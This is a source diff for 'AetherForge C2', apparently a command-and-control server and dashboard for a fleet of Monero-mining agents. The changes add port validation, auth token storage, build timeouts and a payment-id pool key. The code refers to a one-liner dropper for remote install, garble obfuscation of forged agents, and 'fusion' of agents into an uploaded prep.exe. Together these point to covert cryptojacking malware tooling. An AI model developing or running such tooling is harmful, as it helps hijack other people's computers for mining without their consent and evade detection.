|
|
||||||
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil {
|
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= ?`, since).Scan(&stats.NewConnectsToday); err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
|
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {
|
||||||
|
|||||||
@@ -20,8 +20,9 @@ type Database struct {
|
|||||||
func New(dataDir string) (*Database, error) {
|
func New(dataDir string) (*Database, error) {
|
||||||
dbPath := filepath.Join(dataDir, "miner.db")
|
dbPath := filepath.Join(dataDir, "miner.db")
|
||||||
|
|
||||||
// Ensure directory exists
|
if err := os.MkdirAll(filepath.Dir(dbPath), 0755); err != nil {
|
||||||
os.MkdirAll(filepath.Dir(dbPath), 0755)
|
return nil, fmt.Errorf("create data directory: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
|
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -44,7 +44,7 @@ func (m *Manager) SetVerboseTraffic(enabled bool) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func poolKey(cfg *Config) string {
|
func poolKey(cfg *Config) string {
|
||||||
return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet)
|
return fmt.Sprintf("%s:%d:tls=%v:wallet=%s:payment=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet, cfg.PaymentID)
|
||||||
}
|
}
|
||||||
|
|
||||||
// EnsurePoolWithBackups connects to cfg and registers backup pool configs for
|
// EnsurePoolWithBackups connects to cfg and registers backup pool configs for
|
||||||
|
|||||||
@@ -37,6 +37,14 @@ func TestPoolKeyDistinct(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestPoolKeyPaymentID(t *testing.T) {
|
||||||
|
a := poolKey(&Config{Host: "a.com", Port: 3333, Wallet: "w1", PaymentID: "pid1"})
|
||||||
|
b := poolKey(&Config{Host: "a.com", Port: 3333, Wallet: "w1", PaymentID: "pid2"})
|
||||||
|
if a == b {
|
||||||
|
t.Fatal("payment id should affect pool key")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestTruncateWallet(t *testing.T) {
|
func TestTruncateWallet(t *testing.T) {
|
||||||
if truncateWallet("short", 12) != "short" {
|
if truncateWallet("short", 12) != "short" {
|
||||||
t.Fatal("short wallet unchanged")
|
t.Fatal("short wallet unchanged")
|
||||||
|
|||||||
@@ -60,12 +60,29 @@ func main() {
|
|||||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||||
log.Println("AetherForge C2 starting...")
|
log.Println("AetherForge C2 starting...")
|
||||||
|
|
||||||
// Load configuration
|
|
||||||
cfg := LoadConfig()
|
|
||||||
projectRoot := findProjectRoot()
|
projectRoot := findProjectRoot()
|
||||||
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot)
|
cfg := LoadConfig()
|
||||||
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
|
||||||
|
|
||||||
|
if err := validateListenPort(cfg.Port); err != nil {
|
||||||
|
log.Fatalf("Invalid listen port: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
tok := cfg.ConnectorToken()
|
||||||
|
tunnelExternal := os.Getenv("AF_TUNNEL_EXTERNAL") != ""
|
||||||
|
if tok != "" && !tunnelExternal {
|
||||||
|
log.Printf("[tunnel] Cloudflare connector token ready (%d chars)", len(tok))
|
||||||
|
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
|
||||||
|
log.Printf("[tunnel] Warning: %v", err)
|
||||||
|
} else {
|
||||||
|
defer cloudflared.Stop()
|
||||||
|
}
|
||||||
|
} else if tunnelExternal {
|
||||||
|
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
|
||||||
|
} else {
|
||||||
|
log.Println("[tunnel] No connector token configured")
|
||||||
|
}
|
||||||
|
|
||||||
// Generate fleet secret once — persisted in config.json so all future forges
|
// Generate fleet secret once — persisted in config.json so all future forges
|
||||||
// carry the same secret and agents keep working across server restarts.
|
// carry the same secret and agents keep working across server restarts.
|
||||||
if cfg.Server.FleetSecret == "" {
|
if cfg.Server.FleetSecret == "" {
|
||||||
@@ -243,7 +260,7 @@ func main() {
|
|||||||
log.Println("Blueprint handler initialized")
|
log.Println("Blueprint handler initialized")
|
||||||
|
|
||||||
// Initialize dropper handler (one-liner remote install)
|
// Initialize dropper handler (one-liner remote install)
|
||||||
dropperHandler := api.NewDropperHandler(database, func() string {
|
dropperHandler := api.NewDropperHandler(database, cfg.DataDir, func() string {
|
||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -260,19 +277,9 @@ func main() {
|
|||||||
// Initialize router
|
// Initialize router
|
||||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
|
||||||
return configProvider.PublicURL()
|
return configProvider.PublicURL()
|
||||||
})
|
}, cfg.Port)
|
||||||
log.Println("Router initialized")
|
log.Println("Router initialized")
|
||||||
|
|
||||||
tok := cfg.ConnectorToken()
|
|
||||||
if tok != "" {
|
|
||||||
log.Println("[tunnel] Starting Cloudflare connector (Zero Trust token from Calibrate or data/cloudflared-token.txt)")
|
|
||||||
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
|
|
||||||
log.Printf("[tunnel] Warning: %v", err)
|
|
||||||
} else {
|
|
||||||
defer cloudflared.Stop()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start server
|
// Start server
|
||||||
addr := fmt.Sprintf(":%d", cfg.Port)
|
addr := fmt.Sprintf(":%d", cfg.Port)
|
||||||
log.Printf("Server listening on %s", addr)
|
log.Printf("Server listening on %s", addr)
|
||||||
@@ -456,6 +463,13 @@ func findAgentSourceDir() string {
|
|||||||
|
|
||||||
// resolveDataDir pins relative data paths to the project root so builds always land in
|
// resolveDataDir pins relative data paths to the project root so builds always land in
|
||||||
// <repo>/data even when miner-server.exe is started from server/ or bin/.
|
// <repo>/data even when miner-server.exe is started from server/ or bin/.
|
||||||
|
func validateListenPort(port int) error {
|
||||||
|
if port < 1 || port > 65535 {
|
||||||
|
return fmt.Errorf("port %d out of range (1–65535)", port)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func resolveDataDir(dataDir, projectRoot string) string {
|
func resolveDataDir(dataDir, projectRoot string) string {
|
||||||
if filepath.IsAbs(dataDir) {
|
if filepath.IsAbs(dataDir) {
|
||||||
return dataDir
|
return dataDir
|
||||||
|
|||||||
@@ -7,6 +7,18 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func TestValidateListenPort(t *testing.T) {
|
||||||
|
if err := validateListenPort(8989); err != nil {
|
||||||
|
t.Fatalf("8989 should be valid: %v", err)
|
||||||
|
}
|
||||||
|
if err := validateListenPort(0); err == nil {
|
||||||
|
t.Fatal("port 0 should be invalid")
|
||||||
|
}
|
||||||
|
if err := validateListenPort(70000); err == nil {
|
||||||
|
t.Fatal("port 70000 should be invalid")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestResolveDataDirAbsolute(t *testing.T) {
|
func TestResolveDataDirAbsolute(t *testing.T) {
|
||||||
abs := filepath.Join(t.TempDir(), "data")
|
abs := filepath.Join(t.TempDir(), "data")
|
||||||
got := resolveDataDir(abs, "C:\\project")
|
got := resolveDataDir(abs, "C:\\project")
|
||||||
|
|||||||
@@ -2,26 +2,66 @@
|
|||||||
* @vitest-environment happy-dom
|
* @vitest-environment happy-dom
|
||||||
*/
|
*/
|
||||||
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
import { beforeEach, describe, expect, it, vi } from 'vitest';
|
||||||
import { authHeaders, clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
|
import {
|
||||||
|
AETHERFORGE_CLIENT_HEADER,
|
||||||
|
AETHERFORGE_CLIENT_VALUE,
|
||||||
|
authHeaders,
|
||||||
|
clearStoredAuth,
|
||||||
|
consumeAuthExpiredFlag,
|
||||||
|
encodeBasicToken,
|
||||||
|
getStoredAuth,
|
||||||
|
setStoredAuth,
|
||||||
|
} from '../api/auth';
|
||||||
|
|
||||||
|
const AUTH_KEY = 'aetherforge_auth';
|
||||||
|
|
||||||
describe('auth session helpers', () => {
|
describe('auth session helpers', () => {
|
||||||
beforeEach(() => {
|
beforeEach(() => {
|
||||||
sessionStorage.clear();
|
sessionStorage.clear();
|
||||||
|
localStorage.clear();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('stores and retrieves basic token', () => {
|
it('stores and retrieves basic token in session and local storage', () => {
|
||||||
setStoredAuth('drjones', 'secret');
|
setStoredAuth('drjones', 'secret');
|
||||||
expect(getStoredAuth()).toBe(btoa('drjones:secret'));
|
const token = encodeBasicToken('drjones', 'secret');
|
||||||
|
expect(getStoredAuth()).toBe(token);
|
||||||
|
expect(sessionStorage.getItem(AUTH_KEY)).toBe(token);
|
||||||
|
expect(localStorage.getItem(AUTH_KEY)).toBe(token);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('builds Authorization header when logged in', () => {
|
it('reads from localStorage when sessionStorage is empty', () => {
|
||||||
|
const token = encodeBasicToken('user', 'pass');
|
||||||
|
localStorage.setItem(AUTH_KEY, token);
|
||||||
|
expect(getStoredAuth()).toBe(token);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('builds Authorization and client header when logged in', () => {
|
||||||
setStoredAuth('user', 'pass');
|
setStoredAuth('user', 'pass');
|
||||||
expect(authHeaders()).toEqual({ Authorization: `Basic ${btoa('user:pass')}` });
|
expect(authHeaders()).toEqual({
|
||||||
|
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||||
|
Authorization: `Basic ${encodeBasicToken('user', 'pass')}`,
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
it('returns empty headers when logged out', () => {
|
it('includes client header when logged out', () => {
|
||||||
clearStoredAuth();
|
clearStoredAuth();
|
||||||
expect(authHeaders()).toEqual({});
|
expect(authHeaders()).toEqual({
|
||||||
|
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('clears both storages on logout', () => {
|
||||||
|
setStoredAuth('user', 'pass');
|
||||||
|
clearStoredAuth();
|
||||||
|
expect(sessionStorage.getItem(AUTH_KEY)).toBeNull();
|
||||||
|
expect(localStorage.getItem(AUTH_KEY)).toBeNull();
|
||||||
|
expect(getStoredAuth()).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('encodeBasicToken supports non-ASCII passwords', () => {
|
||||||
|
const token = encodeBasicToken('user', 'päss');
|
||||||
|
expect(token).toBeTruthy();
|
||||||
|
expect(token).not.toBe(btoa('user:päss'));
|
||||||
});
|
});
|
||||||
|
|
||||||
it('getStoredAuth returns null when sessionStorage throws', () => {
|
it('getStoredAuth returns null when sessionStorage throws', () => {
|
||||||
@@ -30,4 +70,11 @@ describe('auth session helpers', () => {
|
|||||||
});
|
});
|
||||||
expect(getStoredAuth()).toBeNull();
|
expect(getStoredAuth()).toBeNull();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('consumeAuthExpiredFlag is set once on expired logout', () => {
|
||||||
|
setStoredAuth('user', 'pass');
|
||||||
|
clearStoredAuth({ expired: true });
|
||||||
|
expect(consumeAuthExpiredFlag()).toBe(true);
|
||||||
|
expect(consumeAuthExpiredFlag()).toBe(false);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,30 +1,105 @@
|
|||||||
const AUTH_KEY = 'aetherforge_auth';
|
const AUTH_KEY = 'aetherforge_auth';
|
||||||
|
const AUTH_EXPIRED_KEY = 'aetherforge_auth_expired';
|
||||||
|
|
||||||
export function getStoredAuth(): string | null {
|
export const AETHERFORGE_CLIENT_HEADER = 'X-AetherForge-Client';
|
||||||
|
export const AETHERFORGE_CLIENT_VALUE = 'dashboard';
|
||||||
|
|
||||||
|
/** UTF-8-safe Basic auth token (username:password) for Authorization header. */
|
||||||
|
export function encodeBasicToken(username: string, password: string): string {
|
||||||
|
const bytes = new TextEncoder().encode(`${username}:${password}`);
|
||||||
|
let binary = '';
|
||||||
|
for (let i = 0; i < bytes.length; i++) {
|
||||||
|
binary += String.fromCharCode(bytes[i]);
|
||||||
|
}
|
||||||
|
return btoa(binary);
|
||||||
|
}
|
||||||
|
|
||||||
|
function readAuthStorage(): string | null {
|
||||||
try {
|
try {
|
||||||
return sessionStorage.getItem(AUTH_KEY);
|
const session = sessionStorage.getItem(AUTH_KEY);
|
||||||
|
if (session) return session;
|
||||||
|
} catch {
|
||||||
|
/* sessionStorage blocked */
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
return localStorage.getItem(AUTH_KEY);
|
||||||
} catch {
|
} catch {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function writeAuthStorage(token: string) {
|
||||||
|
try {
|
||||||
|
sessionStorage.setItem(AUTH_KEY, token);
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
localStorage.setItem(AUTH_KEY, token);
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function removeAuthStorage() {
|
||||||
|
try {
|
||||||
|
sessionStorage.removeItem(AUTH_KEY);
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
localStorage.removeItem(AUTH_KEY);
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getStoredAuth(): string | null {
|
||||||
|
return readAuthStorage();
|
||||||
|
}
|
||||||
|
|
||||||
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
|
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
|
||||||
const token = btoa(`${username}:${password}`);
|
const token = encodeBasicToken(username, password);
|
||||||
sessionStorage.setItem(AUTH_KEY, token);
|
writeAuthStorage(token);
|
||||||
if (!opts?.silent) {
|
if (!opts?.silent) {
|
||||||
window.dispatchEvent(new Event('aetherforge-auth'));
|
window.dispatchEvent(new Event('aetherforge-auth'));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
export function clearStoredAuth(opts?: { silent?: boolean }) {
|
export function clearStoredAuth(opts?: { silent?: boolean; expired?: boolean }) {
|
||||||
sessionStorage.removeItem(AUTH_KEY);
|
if (opts?.expired) {
|
||||||
|
try {
|
||||||
|
sessionStorage.setItem(AUTH_EXPIRED_KEY, '1');
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
removeAuthStorage();
|
||||||
if (!opts?.silent) {
|
if (!opts?.silent) {
|
||||||
window.dispatchEvent(new Event('aetherforge-auth'));
|
window.dispatchEvent(new Event('aetherforge-auth'));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** True once after a 401 cleared stored credentials; consumed by SessionGate login UI. */
|
||||||
|
export function consumeAuthExpiredFlag(): boolean {
|
||||||
|
try {
|
||||||
|
if (sessionStorage.getItem(AUTH_EXPIRED_KEY)) {
|
||||||
|
sessionStorage.removeItem(AUTH_EXPIRED_KEY);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
/* ignore */
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
export function authHeaders(): Record<string, string> {
|
export function authHeaders(): Record<string, string> {
|
||||||
|
const headers: Record<string, string> = {
|
||||||
|
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
|
||||||
|
};
|
||||||
const token = getStoredAuth();
|
const token = getStoredAuth();
|
||||||
if (!token) return {};
|
if (token) {
|
||||||
return { Authorization: `Basic ${token}` };
|
headers.Authorization = `Basic ${token}`;
|
||||||
|
}
|
||||||
|
return headers;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ describe('api client', () => {
|
|||||||
|
|
||||||
beforeEach(() => {
|
beforeEach(() => {
|
||||||
sessionStorage.clear();
|
sessionStorage.clear();
|
||||||
|
localStorage.clear();
|
||||||
fetchMock = vi.fn();
|
fetchMock = vi.fn();
|
||||||
vi.stubGlobal('fetch', fetchMock);
|
vi.stubGlobal('fetch', fetchMock);
|
||||||
});
|
});
|
||||||
@@ -38,6 +39,7 @@ describe('api client', () => {
|
|||||||
function expectAuthHeaders(init: RequestInit) {
|
function expectAuthHeaders(init: RequestInit) {
|
||||||
const headers = init.headers as Record<string, string>;
|
const headers = init.headers as Record<string, string>;
|
||||||
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
|
||||||
|
expect(headers['X-AetherForge-Client']).toBe('dashboard');
|
||||||
}
|
}
|
||||||
|
|
||||||
it('sends JSON Content-Type and auth on listAgents', async () => {
|
it('sends JSON Content-Type and auth on listAgents', async () => {
|
||||||
@@ -69,6 +71,16 @@ describe('api client', () => {
|
|||||||
|
|
||||||
const headers = lastFetch().init.headers as Record<string, string>;
|
const headers = lastFetch().init.headers as Record<string, string>;
|
||||||
expect(headers.Authorization).toBeUndefined();
|
expect(headers.Authorization).toBeUndefined();
|
||||||
|
expect(headers['X-AetherForge-Client']).toBe('dashboard');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('clears stored auth on 401 API response', async () => {
|
||||||
|
setStoredAuth('user', 'pass');
|
||||||
|
fetchMock.mockResolvedValueOnce(textResponse('Unauthorized', 401));
|
||||||
|
|
||||||
|
await expect(api.listAgents()).rejects.toThrow('API error 401');
|
||||||
|
expect(sessionStorage.getItem('aetherforge_auth')).toBeNull();
|
||||||
|
expect(localStorage.getItem('aetherforge_auth')).toBeNull();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('getAgentStats appends limit query param', async () => {
|
it('getAgentStats appends limit query param', async () => {
|
||||||
@@ -111,6 +123,18 @@ describe('api client', () => {
|
|||||||
expect(url).toBe('/api/v1/builder/build');
|
expect(url).toBe('/api/v1/builder/build');
|
||||||
expect(init.method).toBe('POST');
|
expect(init.method).toBe('POST');
|
||||||
expect(init.body).toBe(JSON.stringify(req));
|
expect(init.body).toBe(JSON.stringify(req));
|
||||||
|
expect(init.signal).toBeDefined();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('buildAgent surfaces server error from JSON body', async () => {
|
||||||
|
const req = { fusion_enabled: false, wallet: '4' + 'A'.repeat(94) } as Parameters<typeof api.buildAgent>[0];
|
||||||
|
fetchMock.mockResolvedValueOnce({
|
||||||
|
ok: false,
|
||||||
|
status: 500,
|
||||||
|
text: async () => JSON.stringify({ success: false, error: 'compile failed (garble): OOM' }),
|
||||||
|
});
|
||||||
|
|
||||||
|
await expect(api.buildAgent(req)).rejects.toThrow('compile failed (garble): OOM');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('buildAgent rejects fusion without prep file', async () => {
|
it('buildAgent rejects fusion without prep file', async () => {
|
||||||
|
|||||||
@@ -1,11 +1,72 @@
|
|||||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
|
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
|
||||||
import { authHeaders } from './auth';
|
import { authHeaders, clearStoredAuth } from './auth';
|
||||||
|
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||||
|
|
||||||
const API_BASE = '/api/v1';
|
const API_BASE = '/api/v1';
|
||||||
|
|
||||||
|
/** Forge compiles (garble / universal / fusion) can run 10–30+ minutes. */
|
||||||
|
export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
|
||||||
|
|
||||||
|
/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
|
||||||
|
const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
|
||||||
|
|
||||||
|
/** Agent log refresh=1 may block until new lines arrive. */
|
||||||
|
const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
|
||||||
|
|
||||||
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
|
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
|
||||||
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
|
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
|
||||||
|
|
||||||
|
function forgeTimeoutError(): Error {
|
||||||
|
return new Error(
|
||||||
|
'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
|
||||||
|
'Wait longer, disable obfuscation, or forge one target at a time.',
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
|
||||||
|
const text = await res.text();
|
||||||
|
if (!res.ok) {
|
||||||
|
try {
|
||||||
|
const body = JSON.parse(text) as BuildResponse;
|
||||||
|
if (body.error) {
|
||||||
|
throw new Error(body.error);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error(text.trim() || `Build failed (${res.status})`);
|
||||||
|
}
|
||||||
|
return JSON.parse(text) as BuildResponse;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
|
||||||
|
const controller = new AbortController();
|
||||||
|
const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
|
||||||
|
try {
|
||||||
|
const res = await fetch(`${API_BASE}${url}`, {
|
||||||
|
...init,
|
||||||
|
signal: controller.signal,
|
||||||
|
headers: {
|
||||||
|
...authHeaders(),
|
||||||
|
...(init.headers as Record<string, string> | undefined),
|
||||||
|
},
|
||||||
|
});
|
||||||
|
if (res.status === 401) {
|
||||||
|
clearStoredAuth({ expired: true });
|
||||||
|
}
|
||||||
|
return await parseForgeBuildResponse(res);
|
||||||
|
} catch (e) {
|
||||||
|
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||||
|
throw forgeTimeoutError();
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
|
} finally {
|
||||||
|
clearTimeout(timer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
|
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
|
||||||
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
|
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
|
||||||
const controller = new AbortController();
|
const controller = new AbortController();
|
||||||
@@ -24,10 +85,18 @@ async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 1000
|
|||||||
},
|
},
|
||||||
});
|
});
|
||||||
if (!res.ok) {
|
if (!res.ok) {
|
||||||
|
if (res.status === 401) {
|
||||||
|
clearStoredAuth({ expired: true });
|
||||||
|
}
|
||||||
const err = await res.text();
|
const err = await res.text();
|
||||||
throw new Error(`API error ${res.status}: ${err}`);
|
throw new Error(`API error ${res.status}: ${err}`);
|
||||||
}
|
}
|
||||||
return res.json();
|
return res.json();
|
||||||
|
} catch (e) {
|
||||||
|
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||||
|
throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
} finally {
|
} finally {
|
||||||
clearTimeout(timer);
|
clearTimeout(timer);
|
||||||
}
|
}
|
||||||
@@ -65,20 +134,14 @@ export const api = {
|
|||||||
const form = new FormData();
|
const form = new FormData();
|
||||||
form.append('config', JSON.stringify(req));
|
form.append('config', JSON.stringify(req));
|
||||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||||
return fetch(`${API_BASE}/builder/build`, {
|
return postForgeBuild('/builder/build', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: authHeaders(),
|
|
||||||
body: form,
|
body: form,
|
||||||
}).then(async (res) => {
|
|
||||||
if (!res.ok) {
|
|
||||||
const err = await res.text();
|
|
||||||
throw new Error(`API error ${res.status}: ${err}`);
|
|
||||||
}
|
|
||||||
return res.json() as Promise<BuildResponse>;
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
return fetchJSON<BuildResponse>('/builder/build', {
|
return postForgeBuild('/builder/build', {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
body: JSON.stringify(req),
|
body: JSON.stringify(req),
|
||||||
});
|
});
|
||||||
},
|
},
|
||||||
@@ -90,17 +153,31 @@ export const api = {
|
|||||||
const form = new FormData();
|
const form = new FormData();
|
||||||
form.append('config', JSON.stringify(req));
|
form.append('config', JSON.stringify(req));
|
||||||
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
|
||||||
|
const controller = new AbortController();
|
||||||
|
const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
|
||||||
return fetch(`${API_BASE}/builder/estimate`, {
|
return fetch(`${API_BASE}/builder/estimate`, {
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
headers: authHeaders(),
|
headers: authHeaders(),
|
||||||
body: form,
|
body: form,
|
||||||
}).then(async (res) => {
|
signal: controller.signal,
|
||||||
if (!res.ok) {
|
})
|
||||||
const err = await res.text();
|
.then(async (res) => {
|
||||||
throw new Error(`API error ${res.status}: ${err}`);
|
if (res.status === 401) {
|
||||||
}
|
clearStoredAuth({ expired: true });
|
||||||
return res.json() as Promise<FusionEstimate>;
|
}
|
||||||
});
|
if (!res.ok) {
|
||||||
|
const err = await res.text();
|
||||||
|
throw new Error(`API error ${res.status}: ${err}`);
|
||||||
|
}
|
||||||
|
return res.json() as Promise<FusionEstimate>;
|
||||||
|
})
|
||||||
|
.catch((e) => {
|
||||||
|
if (e instanceof DOMException && e.name === 'AbortError') {
|
||||||
|
throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
|
||||||
|
}
|
||||||
|
throw e;
|
||||||
|
})
|
||||||
|
.finally(() => clearTimeout(timer));
|
||||||
},
|
},
|
||||||
|
|
||||||
pinBuild: (buildId: string) =>
|
pinBuild: (buildId: string) =>
|
||||||
@@ -159,12 +236,17 @@ export const api = {
|
|||||||
body: JSON.stringify(mac ? { mac } : {}),
|
body: JSON.stringify(mac ? { mac } : {}),
|
||||||
}),
|
}),
|
||||||
getAgentLog: (id: string, refresh = false) =>
|
getAgentLog: (id: string, refresh = false) =>
|
||||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
fetchJSON<{ agent_id: string; content: string }>(
|
||||||
|
`/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
|
||||||
|
undefined,
|
||||||
|
refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
|
||||||
|
),
|
||||||
|
|
||||||
downloadAgentLog: async (id: string): Promise<void> => {
|
downloadAgentLog: async (id: string): Promise<void> => {
|
||||||
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
|
const res = await fetchAuthedWithTimeout(
|
||||||
headers: { ...authHeaders() },
|
`${API_BASE}/agents/${id}/log?download=1`,
|
||||||
});
|
DOWNLOAD_TIMEOUT_MS,
|
||||||
|
);
|
||||||
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
|
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
|
||||||
const blob = await res.blob();
|
const blob = await res.blob();
|
||||||
const url = URL.createObjectURL(blob);
|
const url = URL.createObjectURL(blob);
|
